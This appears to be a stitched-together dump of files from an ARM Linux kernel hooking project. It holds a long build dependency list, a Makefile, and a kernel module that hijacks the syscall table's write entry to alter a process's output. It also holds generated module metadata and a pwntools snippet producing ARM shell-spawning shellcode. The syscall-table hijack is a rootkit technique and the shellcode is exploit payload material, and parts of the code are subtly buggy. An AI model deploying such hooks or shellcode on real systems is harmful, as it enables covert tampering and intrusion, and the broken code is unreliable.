$(wildcard include/config/pm/sleep.h) \
$(wildcard include/config/cma.h) \
include/linux/mmdebug.h \
$(wildcard include/config/debug/vm.h) \
$(wildcard include/config/debug/virtual.h) \
include/linux/mmzone.h \
$(wildcard include/config/force/max/zoneorder.h) \
$(wildcard include/config/memory/isolation.h) \
$(wildcard include/config/memcg.h) \
$(wildcard include/config/zone/device.h) \
$(wildcard include/config/memory/hotplug.h) \
$(wildcard include/config/compaction.h) \
$(wildcard include/config/flat/node/mem/map.h) \
$(wildcard include/config/page/extension.h) \
$(wildcard include/config/no/bootmem.h) \
$(wildcard include/config/numa/balancing.h) \
$(wildcard include/config/have/memory/present.h) \
$(wildcard include/config/have/memoryless/nodes.h) \
$(wildcard include/config/need/node/memmap/size.h) \
$(wildcard include/config/have/memblock/node/map.h) \
$(wildcard include/config/need/multiple/nodes.h) \
$(wildcard include/config/have/arch/early/pfn/to/nid.h) \
$(wildcard include/config/sparsemem/extreme.h) \
$(wildcard include/config/holes/in/zone.h) \
$(wildcard include/config/arch/has/holes/memorymodel.h) \
include/linux/wait.h \
arch/arm/include/generated/asm/current.h \
include/asm-generic/current.h \
include/uapi/linux/wait.h \
include/linux/threads.h \
$(wildcard include/config/nr/cpus.h) \
$(wildcard include/config/base/small.h) \
include/linux/numa.h \
$(wildcard include/config/nodes/shift.h) \
include/linux/nodemask.h \
$(wildcard include/config/movable/node.h) \
include/linux/bitmap.h \
include/linux/pageblock-flags.h \
$(wildcard include/config/hugetlb/page.h) \
$(wildcard include/config/hugetlb/page/size/variable.h) \
include/linux/page-flags-layout.h \
include/generated/bounds.h \
include/linux/memory_hotplug.h \
$(wildcard include/config/memory/hotremove.h) \
$(wildcard include/config/have/arch/nodedata/extension.h) \
$(wildcard include/config/have/bootmem/info/node.h) \
include/linux/notifier.h \
include/linux/mutex.h \
$(wildcard include/config/debug/mutexes.h) \
$(wildcard include/config/mutex/spin/on/owner.h) \
include/linux/osq_lock.h \
include/linux/rwsem.h \
$(wildcard include/config/rwsem/spin/on/owner.h) \
$(wildcard include/config/rwsem/generic/spinlock.h) \
arch/arm/include/generated/asm/rwsem.h \
include/asm-generic/rwsem.h \
include/linux/srcu.h \
include/linux/rcupdate.h \
$(wildcard include/config/tiny/rcu.h) \
$(wildcard include/config/tree/rcu.h) \
$(wildcard include/config/preempt/rcu.h) \
$(wildcard include/config/rcu/trace.h) \
$(wildcard include/config/rcu/stall/common.h) \
$(wildcard include/config/no/hz/full.h) \
$(wildcard include/config/rcu/nocb/cpu.h) \
$(wildcard include/config/tasks/rcu.h) \
$(wildcard include/config/debug/objects/rcu/head.h) \
$(wildcard include/config/hotplug/cpu.h) \
$(wildcard include/config/prove/rcu.h) \
$(wildcard include/config/rcu/boost.h) \
$(wildcard include/config/rcu/nocb/cpu/all.h) \
$(wildcard include/config/no/hz/full/sysidle.h) \
include/linux/cpumask.h \
$(wildcard include/config/cpumask/offstack.h) \
$(wildcard include/config/debug/per/cpu/maps.h) \
include/linux/completion.h \
include/linux/debugobjects.h \
$(wildcard include/config/debug/objects.h) \
$(wildcard include/config/debug/objects/free.h) \
include/linux/ktime.h \
include/linux/jiffies.h \
include/linux/timex.h \
include/uapi/linux/timex.h \
include/uapi/linux/param.h \
arch/arm/include/generated/asm/param.h \
include/asm-generic/param.h \
$(wildcard include/config/hz.h) \
include/uapi/asm-generic/param.h \
arch/arm/include/asm/timex.h \
include/generated/timeconst.h \
include/linux/timekeeping.h \
include/linux/rcutree.h \
include/linux/workqueue.h \
$(wildcard include/config/debug/objects/work.h) \
$(wildcard include/config/freezer.h) \
include/linux/timer.h \
$(wildcard include/config/timer/stats.h) \
$(wildcard include/config/debug/objects/timers.h) \
$(wildcard include/config/no/hz/common.h) \
include/linux/sysctl.h \
$(wildcard include/config/sysctl.h) \
include/linux/rbtree.h \
include/uapi/linux/sysctl.h \
include/linux/topology.h \
$(wildcard include/config/use/percpu/numa/node/id.h) \
$(wildcard include/config/sched/smt.h) \
include/linux/smp.h \
$(wildcard include/config/up/late/init.h) \
include/linux/llist.h \
$(wildcard include/config/arch/have/nmi/safe/cmpxchg.h) \
arch/arm/include/asm/smp.h \
include/linux/percpu.h \
$(wildcard include/config/need/per/cpu/embed/first/chunk.h) \
$(wildcard include/config/need/per/cpu/page/first/chunk.h) \
$(wildcard include/config/have/setup/per/cpu/area.h) \
include/linux/pfn.h \
arch/arm/include/asm/percpu.h \
include/asm-generic/percpu.h \
include/linux/percpu-defs.h \
$(wildcard include/config/debug/force/weak/per/cpu.h) \
arch/arm/include/asm/topology.h \
$(wildcard include/config/arm/cpu/topology.h) \
include/asm-generic/topology.h \
include/linux/elf.h \
arch/arm/include/asm/elf.h \
$(wildcard include/config/vdso.h) \
arch/arm/include/asm/auxvec.h \
arch/arm/include/uapi/asm/auxvec.h \
arch/arm/include/asm/vdso_datapage.h \
arch/arm/include/asm/user.h \
include/uapi/linux/elf.h \
include/uapi/linux/elf-em.h \
include/linux/kobject.h \
$(wildcard include/config/uevent/helper.h) \
$(wildcard include/config/debug/kobject/release.h) \
include/linux/sysfs.h \
include/linux/kernfs.h \
$(wildcard include/config/kernfs.h) \
include/linux/err.h \
include/linux/idr.h \
include/linux/kobject_ns.h \
include/linux/kref.h \
include/linux/moduleparam.h \
$(wildcard include/config/alpha.h) \
$(wildcard include/config/ia64.h) \
$(wildcard include/config/ppc64.h) \
include/linux/jump_label.h \
$(wildcard include/config/jump/label.h) \
arch/arm/include/asm/jump_label.h \
include/linux/rbtree_latch.h \
arch/arm/include/asm/module.h \
$(wildcard include/config/arm/unwind.h) \
$(wildcard include/config/arm/module/plts.h) \
include/asm-generic/module.h \
$(wildcard include/config/have/mod/arch/specific.h) \
$(wildcard include/config/modules/use/elf/rel.h) \
$(wildcard include/config/modules/use/elf/rela.h) \
include/linux/syscalls.h \
$(wildcard include/config/ftrace/syscalls.h) \
$(wildcard include/config/old/sigsuspend.h) \
$(wildcard include/config/old/sigsuspend3.h) \
$(wildcard include/config/old/sigaction.h) \
$(wildcard include/config/odd/rt/sigaction.h) \
$(wildcard include/config/clone/backwards.h) \
$(wildcard include/config/clone/backwards3.h) \
include/uapi/linux/aio_abi.h \
include/linux/capability.h \
include/uapi/linux/capability.h \
include/linux/signal.h \
$(wildcard include/config/proc/fs.h) \
include/uapi/linux/signal.h \
arch/arm/include/asm/signal.h \
arch/arm/include/uapi/asm/signal.h \
include/uapi/asm-generic/signal-defs.h \
arch/arm/include/uapi/asm/sigcontext.h \
arch/arm/include/generated/asm/siginfo.h \
include/asm-generic/siginfo.h \
include/uapi/asm-generic/siginfo.h \
include/linux/sem.h \
$(wildcard include/config/sysvipc.h) \
include/uapi/linux/sem.h \
include/linux/ipc.h \
include/uapi/linux/ipc.h \
arch/arm/include/generated/asm/ipcbuf.h \
include/uapi/asm-generic/ipcbuf.h \
arch/arm/include/generated/asm/sembuf.h \
include/uapi/asm-generic/sembuf.h \
include/uapi/linux/unistd.h \
arch/arm/include/asm/unistd.h \
$(wildcard include/config/oabi/compat.h) \
arch/arm/include/uapi/asm/unistd.h \
include/linux/quota.h \
$(wildcard include/config/quota/netlink/interface.h) \
include/linux/percpu_counter.h \
include/uapi/linux/dqblk_xfs.h \
include/linux/dqblk_v1.h \
include/linux/dqblk_v2.h \
include/linux/dqblk_qtree.h \
include/linux/projid.h \
include/uapi/linux/quota.h \
include/linux/key.h \
$(wildcard include/config/keys.h) \
include/linux/assoc_array.h \
$(wildcard include/config/associative/array.h) \
include/trace/syscall.h \
$(wildcard include/config/have/syscall/tracepoints.h) \
include/linux/tracepoint.h \
$(wildcard include/config/tracepoint.h) \
include/linux/static_key.h \
include/linux/trace_events.h \
$(wildcard include/config/perf/events.h) \
$(wildcard include/config/bpf/events.h) \
include/linux/ring_buffer.h \
$(wildcard include/config/ring/buffer/allow/swap.h) \
include/linux/kmemcheck.h \
$(wildcard include/config/kmemcheck.h) \
include/linux/mm_types.h \
$(wildcard include/config/split/ptlock/cpus.h) \
$(wildcard include/config/arch/enable/split/pmd/ptlock.h) \
$(wildcard include/config/have/cmpxchg/double.h) \
$(wildcard include/config/have/aligned/struct/page.h) \
$(wildcard include/config/transparent/hugepage.h) \
$(wildcard include/config/userfaultfd.h) \
$(wildcard include/config/pgtable/levels.h) \
$(wildcard include/config/aio.h) \
$(wildcard include/config/mmu/notifier.h) \
$(wildcard include/config/x86/intel/mpx.h) \
include/linux/auxvec.h \
include/uapi/linux/auxvec.h \
include/linux/uprobes.h \
$(wildcard include/config/uprobes.h) \
arch/arm/include/asm/mmu.h \
$(wildcard include/config/cpu/has/asid.h) \
include/linux/mm.h \
$(wildcard include/config/mem/soft/dirty.h) \
$(wildcard include/config/x86.h) \
$(wildcard include/config/ppc.h) \
$(wildcard include/config/parisc.h) \
$(wildcard include/config/metag.h) \
$(wildcard include/config/stack/growsup.h) \
$(wildcard include/config/shmem.h) \
$(wildcard include/config/debug/vm/rb.h) \
$(wildcard include/config/debug/pagealloc.h) \
$(wildcard include/config/hibernation.h) \
$(wildcard include/config/hugetlbfs.h) \
include/linux/debug_locks.h \
$(wildcard include/config/debug/locking/api/selftests.h) \
include/linux/range.h \
include/linux/bit_spinlock.h \
include/linux/shrinker.h \
include/linux/resource.h \
include/uapi/linux/resource.h \
arch/arm/include/generated/asm/resource.h \
include/asm-generic/resource.h \
include/uapi/asm-generic/resource.h \
include/linux/page_ext.h \
$(wildcard include/config/idle/page/tracking.h) \
$(wildcard include/config/page/owner.h) \
include/linux/stacktrace.h \
$(wildcard include/config/stacktrace.h) \
$(wildcard include/config/user/stacktrace/support.h) \
arch/arm/include/asm/pgtable.h \
$(wildcard include/config/highpte.h) \
arch/arm/include/asm/proc-fns.h \
arch/arm/include/asm/glue-proc.h \
$(wildcard include/config/cpu/arm7tdmi.h) \
$(wildcard include/config/cpu/arm720t.h) \
$(wildcard include/config/cpu/arm740t.h) \
$(wildcard include/config/cpu/arm9tdmi.h) \
$(wildcard include/config/cpu/arm920t.h) \
$(wildcard include/config/cpu/arm922t.h) \
$(wildcard include/config/cpu/arm925t.h) \
$(wildcard include/config/cpu/arm926t.h) \
$(wildcard include/config/cpu/arm940t.h) \
$(wildcard include/config/cpu/arm946e.h) \
$(wildcard include/config/cpu/arm1020.h) \
$(wildcard include/config/cpu/arm1020e.h) \
$(wildcard include/config/cpu/arm1022.h) \
$(wildcard include/config/cpu/arm1026.h) \
$(wildcard include/config/cpu/mohawk.h) \
$(wildcard include/config/cpu/feroceon.h) \
$(wildcard include/config/cpu/v6k.h) \
$(wildcard include/config/cpu/pj4b.h) \
$(wildcard include/config/cpu/v7.h) \
include/asm-generic/pgtable-nopud.h \
arch/arm/include/asm/pgtable-hwdef.h \
arch/arm/include/asm/pgtable-2level-hwdef.h \
arch/arm/include/asm/tlbflush.h \
$(wildcard include/config/smp/on/up.h) \
$(wildcard include/config/cpu/tlb/v4wt.h) \
$(wildcard include/config/cpu/tlb/fa.h) \
$(wildcard include/config/cpu/tlb/v4wbi.h) \
$(wildcard include/config/cpu/tlb/feroceon.h) \
$(wildcard include/config/cpu/tlb/v4wb.h) \
$(wildcard include/config/cpu/tlb/v6.h) \
$(wildcard include/config/cpu/tlb/v7.h) \
$(wildcard include/config/arm/errata/720789.h) \
$(wildcard include/config/arm/errata/798181.h) \
include/linux/sched.h \
$(wildcard include/config/sched/debug.h) \
$(wildcard include/config/lockup/detector.h) \
$(wildcard include/config/detect/hung/task.h) \
$(wildcard include/config/core/dump/default/elf/headers.h) \
$(wildcard include/config/virt/cpu/accounting/native.h) \
$(wildcard include/config/sched/autogroup.h) \
$(wildcard include/config/bsd/process/acct.h) \
$(wildcard include/config/taskstats.h) \
$(wildcard include/config/audit.h) \
$(wildcard include/config/inotify/user.h) \
$(wildcard include/config/fanotify.h) \
$(wildcard include/config/epoll.h) \
$(wildcard include/config/posix/mqueue.h) \
$(wildcard include/config/bpf/syscall.h) \
$(wildcard include/config/sched/info.h) \
$(wildcard include/config/task/delay/acct.h) \
$(wildcard include/config/schedstats.h) \
$(wildcard include/config/sched/mc.h) \
$(wildcard include/config/fair/group/sched.h) \
$(wildcard include/config/rt/group/sched.h) \
$(wildcard include/config/cgroup/sched.h) \
$(wildcard include/config/blk/dev/io/trace.h) \
$(wildcard include/config/memcg/kmem.h) \
$(wildcard include/config/compat/brk.h) \
$(wildcard include/config/cc/stackprotector.h) \
$(wildcard include/config/virt/cpu/accounting/gen.h) \
$(wildcard include/config/auditsyscall.h) \
$(wildcard include/config/rt/mutexes.h) \
$(wildcard include/config/block.h) \
$(wildcard include/config/task/xacct.h) \
$(wildcard include/config/cpusets.h) \
$(wildcard include/config/cgroups.h) \
$(wildcard include/config/futex.h) \
$(wildcard include/config/arch/want/batched/unmap/tlb/flush.h) \
$(wildcard include/config/fault/injection.h) \
$(wildcard include/config/latencytop.h) \
$(wildcard include/config/function/graph/tracer.h) \
$(wildcard include/config/bcache.h) \
$(wildcard include/config/arch/wants/dynamic/task/struct.h) \
$(wildcard include/config/have/unstable/sched/clock.h) \
$(wildcard include/config/irq/time/accounting.h) \
$(wildcard include/config/have/copy/thread/tls.h) \
include/uapi/linux/sched.h \
include/linux/sched/prio.h \
include/linux/plist.h \
$(wildcard include/config/debug/pi/list.h) \
include/linux/cputime.h \
arch/arm/include/generated/asm/cputime.h \
include/asm-generic/cputime.h \
$(wildcard include/config/virt/cpu/accounting.h) \
include/asm-generic/cputime_jiffies.h \
include/linux/shm.h \
include/uapi/linux/shm.h \
arch/arm/include/generated/asm/shmbuf.h \
include/uapi/asm-generic/shmbuf.h \
arch/arm/include/asm/shmparam.h \
include/linux/pid.h \
include/linux/proportions.h \
include/linux/seccomp.h \
$(wildcard include/config/seccomp.h) \
$(wildcard include/config/have/arch/seccomp/filter.h) \
$(wildcard include/config/seccomp/filter.h) \
$(wildcard include/config/checkpoint/restore.h) \
include/uapi/linux/seccomp.h \
arch/arm/include/generated/asm/seccomp.h \
include/asm-generic/seccomp.h \
include/linux/rculist.h \
include/linux/rtmutex.h \
$(wildcard include/config/debug/rt/mutexes.h) \
include/linux/hrtimer.h \
$(wildcard include/config/high/res/timers.h) \
$(wildcard include/config/time/low/res.h) \
$(wildcard include/config/timerfd.h) \
include/linux/timerqueue.h \
include/linux/task_io_accounting.h \
$(wildcard include/config/task/io/accounting.h) \
include/linux/latencytop.h \
include/linux/cred.h \
$(wildcard include/config/debug/credentials.h) \
$(wildcard include/config/security.h) \
include/linux/selinux.h \
$(wildcard include/config/security/selinux.h) \
include/uapi/linux/magic.h \
include/linux/cgroup-defs.h \
include/uapi/linux/limits.h \
include/linux/percpu-refcount.h \
include/linux/percpu-rwsem.h \
include/linux/rcu_sync.h \
include/linux/cgroup_subsys.h \
$(wildcard include/config/cgroup/cpuacct.h) \
$(wildcard include/config/blk/cgroup.h) \
$(wildcard include/config/cgroup/device.h) \
$(wildcard include/config/cgroup/freezer.h) \
$(wildcard include/config/cgroup/net/classid.h) \
$(wildcard include/config/cgroup/perf.h) \
$(wildcard include/config/cgroup/net/prio.h) \
$(wildcard include/config/cgroup/hugetlb.h) \
$(wildcard include/config/cgroup/pids.h) \
$(wildcard include/config/cgroup/debug.h) \
arch/arm/include/asm/pgtable-2level.h \
include/asm-generic/pgtable.h \
$(wildcard include/config/have/arch/soft/dirty.h) \
$(wildcard include/config/have/arch/huge/vmap.h) \
include/linux/page-flags.h \
$(wildcard include/config/arch/uses/pg/uncached.h) \
$(wildcard include/config/memory/failure.h) \
$(wildcard include/config/swap.h) \
$(wildcard include/config/ksm.h) \
include/linux/huge_mm.h \
include/linux/vmstat.h \
$(wildcard include/config/vm/event/counters.h) \
$(wildcard include/config/debug/tlbflush.h) \
$(wildcard include/config/debug/vm/vmacache.h) \
include/linux/vm_event_item.h \
$(wildcard include/config/migration.h) \
$(wildcard include/config/memory/balloon.h) \
$(wildcard include/config/balloon/compaction.h) \
include/linux/seq_file.h \
include/linux/poll.h \
include/linux/fs.h \
$(wildcard include/config/fs/posix/acl.h) \
$(wildcard include/config/cgroup/writeback.h) \
$(wildcard include/config/ima.h) \
$(wildcard include/config/fsnotify.h) \
$(wildcard include/config/file/locking.h) \
$(wildcard include/config/quota.h) \
$(wildcard include/config/fs/dax.h) \
include/linux/kdev_t.h \
include/uapi/linux/kdev_t.h \
include/linux/dcache.h \
include/linux/rculist_bl.h \
include/linux/list_bl.h \
include/linux/lockref.h \
$(wildcard include/config/arch/use/cmpxchg/lockref.h) \
include/linux/path.h \
include/linux/list_lru.h \
include/linux/radix-tree.h \
include/linux/semaphore.h \
include/uapi/linux/fiemap.h \
include/linux/migrate_mode.h \
include/linux/blk_types.h \
$(wildcard include/config/blk/dev/integrity.h) \
include/uapi/linux/fs.h \
include/uapi/linux/ioctl.h \
arch/arm/include/generated/asm/ioctl.h \
include/asm-generic/ioctl.h \
include/uapi/asm-generic/ioctl.h \
include/linux/nfs_fs_i.h \
include/linux/fcntl.h \
include/uapi/linux/fcntl.h \
arch/arm/include/uapi/asm/fcntl.h \
include/uapi/asm-generic/fcntl.h \
arch/arm/include/asm/uaccess.h \
$(wildcard include/config/have/efficient/unaligned/access.h) \
$(wildcard include/config/cpu/sw/domain/pan.h) \
$(wildcard include/config/cpu/use/domains.h) \
$(wildcard include/config/uaccess/with/memcpy.h) \
arch/arm/include/asm/domain.h \
$(wildcard include/config/io/36.h) \
include/uapi/linux/poll.h \
arch/arm/include/generated/asm/poll.h \
include/uapi/asm-generic/poll.h \
include/linux/trace_seq.h \
include/linux/seq_buf.h \
include/linux/hardirq.h \
include/linux/ftrace_irq.h \
$(wildcard include/config/ftrace/nmi/enter.h) \
include/linux/vtime.h \
include/linux/context_tracking_state.h \
$(wildcard include/config/context/tracking.h) \
arch/arm/include/asm/hardirq.h \
arch/arm/include/asm/irq.h \
$(wildcard include/config/sparse/irq.h) \
$(wildcard include/config/multi/irq/handler.h) \
include/linux/irq_cpustat.h \
include/linux/perf_event.h \
$(wildcard include/config/function/tracer.h) \
$(wildcard include/config/cpu/sup/intel.h) \
include/uapi/linux/perf_event.h \
arch/arm/include/asm/perf_event.h \
arch/arm/include/generated/asm/local64.h \
include/asm-generic/local64.h \
include/linux/pid_namespace.h \
$(wildcard include/config/pid/ns.h) \
include/linux/nsproxy.h \
include/linux/ns_common.h \
include/linux/ftrace.h \
$(wildcard include/config/dynamic/ftrace/with/regs.h) \
$(wildcard include/config/dynamic/ftrace.h) \
$(wildcard include/config/stack/tracer.h) \
$(wildcard include/config/frame/pointer.h) \
include/linux/trace_clock.h \
arch/arm/include/generated/asm/trace_clock.h \
include/asm-generic/trace_clock.h \
include/linux/kallsyms.h \
include/linux/ptrace.h \
include/uapi/linux/ptrace.h \
arch/arm/include/asm/ftrace.h \
$(wildcard include/config/old/mcount.h) \
include/linux/cpu.h \
$(wildcard include/config/pm/sleep/smp.h) \
include/linux/node.h \
$(wildcard include/config/memory/hotplug/sparse.h) \
include/linux/device.h \
$(wildcard include/config/debug/devres.h) \
$(wildcard include/config/generic/msi/irq/domain.h) \
$(wildcard include/config/pinctrl.h) \
$(wildcard include/config/generic/msi/irq.h) \
$(wildcard include/config/dma/cma.h) \
$(wildcard include/config/of.h) \
$(wildcard include/config/devtmpfs.h) \
$(wildcard include/config/sysfs/deprecated.h) \
include/linux/ioport.h \
include/linux/klist.h \
include/linux/pinctrl/devinfo.h \
$(wildcard include/config/pm.h) \
include/linux/pinctrl/consumer.h \
include/linux/pinctrl/pinctrl-state.h \
include/linux/pm.h \
$(wildcard include/config/vt/console/sleep.h) \
$(wildcard include/config/pm/clk.h) \
$(wildcard include/config/pm/generic/domains.h) \
include/linux/ratelimit.h \
arch/arm/include/asm/device.h \
$(wildcard include/config/dmabounce.h) \
$(wildcard include/config/iommu/api.h) \
$(wildcard include/config/arm/dma/use/iommu.h) \
$(wildcard include/config/arch/omap.h) \
include/linux/pm_wakeup.h \
include/linux/irq_work.h \
$(wildcard include/config/irq/work.h) \
arch/arm/include/asm/irq_work.h \
arch/arm/include/asm/smp_plat.h \
arch/arm/include/asm/cpu.h \
arch/arm/include/asm/cputype.h \
$(wildcard include/config/cpu/cp15.h) \
$(wildcard include/config/cpu/pj4.h) \
include/linux/jump_label_ratelimit.h \
include/linux/perf_regs.h \
$(wildcard include/config/have/perf/regs.h) \
arch/arm/include/uapi/asm/perf_regs.h \
include/linux/cgroup.h \
include/uapi/linux/cgroupstats.h \
include/uapi/linux/taskstats.h \
arch/arm/include/generated/asm/local.h \
include/asm-generic/local.h \
/root/hooking/dhooker/hooker.o: $(deps_/root/hooking/dhooker/hooker.o)
$(deps_/root/hooking/dhooker/hooker.o):
/root/hooking/dhooker/hooker.ko
/root/hooking/dhooker/hooker.o
obj-m := hooker.o
KDIR=/root/working/linux
PWD=$(shell pwd)
TOOLCHAIN=arm-linux-gnueabihf-
TARGET=arm
all:
$(MAKE) -C $(KDIR) M=$(PWD) ARCH=$(TARGET) CROSS_COMPILE=$(TOOLCHAIN) modules
clean:
$(MAKE) -C $(KDIR) SUBDIRS=$(PWD) clean
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/syscalls.h>
#include <linux/string.h>
#define SYSCALL_TABLE_BASE_ADDR (0x8000fc28)
#define MANAGER_PERMISSION (0xff)
unsigned int ** g_puSysTableAddr = (unsigned int**) SYSCALL_TABLE_BASE_ADDR;
unsigned int g_uPrevAP = 0x00;
unsigned int g_uNewAP = MANAGER_PERMISSION;
unsigned int (* sys_write_orig)(int fd, char *byf, size_t count);
//sys_write_orig() 호출 전 pBuF의 내용 수정
unsigned int sys_write_hooked(int nFD, char *pBuf, size_t nCnt){
printk("current process name : %s\n",current->comm);
if(current->comm == "hello_world" && nFD == 1){
memset(pBuf, 0, nCnt);
strcpy(pBuf, "Hacked!!!\n");
return sys_write_orig(nFD,pBuf, nCnt);
}
else{
return sys_write_orig(nFD,pBuf, nCnt);
}
}
int __init Hook_Init(void){
sys_write_orig = (void *)g_puSysTableAddr[__NR_write];
__asm__ __volatile__("mrc p15, 0, %0, c3, c0" : "=r"(g_uPrevAP));
__asm__ __volatile__("mrc p15, 0, %0, c3, c0" : : "r"(g_uNewAP));
g_puSysTableAddr[__NR_write] = (unsigned int *) sys_write_hooked;
__asm__ __volatile__("mcr p15,0, %0, c3, c0" : :"r"(g_uPrevAP));
return 0;
}
void __exit Hook_Exit(void){
__asm__ __volatile__("mrc p15,0, %0, c3,c0" : "=r"(g_uPrevAP));
__asm__ __volatile__("mcr p15, 0, %0, c3, c0" : :"r"(g_uNewAP));
g_puSysTableAddr[__NR_write] = (unsigned int *) sys_write_orig;
__asm__ __volatile__("mcr p15,0, %0, c3, c0" : :"r"(g_uPrevAP));
}
module_init(Hook_Init);
module_exit(Hook_Exit);
#include <linux/module.h>
#include <linux/vermagic.h>
#include <linux/compiler.h>
MODULE_INFO(vermagic, VERMAGIC_STRING);
__visible struct module __this_module
__attribute__((section(".gnu.linkonce.this_module"))) = {
.name = KBUILD_MODNAME,
.init = init_module,
#ifdef CONFIG_MODULE_UNLOAD
.exit = cleanup_module,
#endif
.arch = MODULE_ARCH_INIT,
};
static const struct modversion_info ____versions[]
__used
__attribute__((section("__versions"))) = {
{ 0xb344870e, __VMLINUX_SYMBOL_STR(module_layout) },
{ 0x2e5810c6, __VMLINUX_SYMBOL_STR(__aeabi_unwind_cpp_pr1) },
{ 0xfa2a45e, __VMLINUX_SYMBOL_STR(__memzero) },
{ 0x27e1a049, __VMLINUX_SYMBOL_STR(printk) },
{ 0xb1ad28e0, __VMLINUX_SYMBOL_STR(__gnu_mcount_nc) },
};
static const char __module_depends[]
__used
__attribute__((section(".modinfo"))) =
"depends=";
MODULE_INFO(srcversion, "1041E4758432C86606FD67E");
No preview for this file type
No preview for this file type
kernel//root/hooking/dhooker/hooker.ko
No preview for this file type
No preview for this file type
from pwn import *
context.update(arch='arm', os='linux')
shellcode = shellcraft.to_thumb()
shellcode += shellcraft.thumb.linux.sh()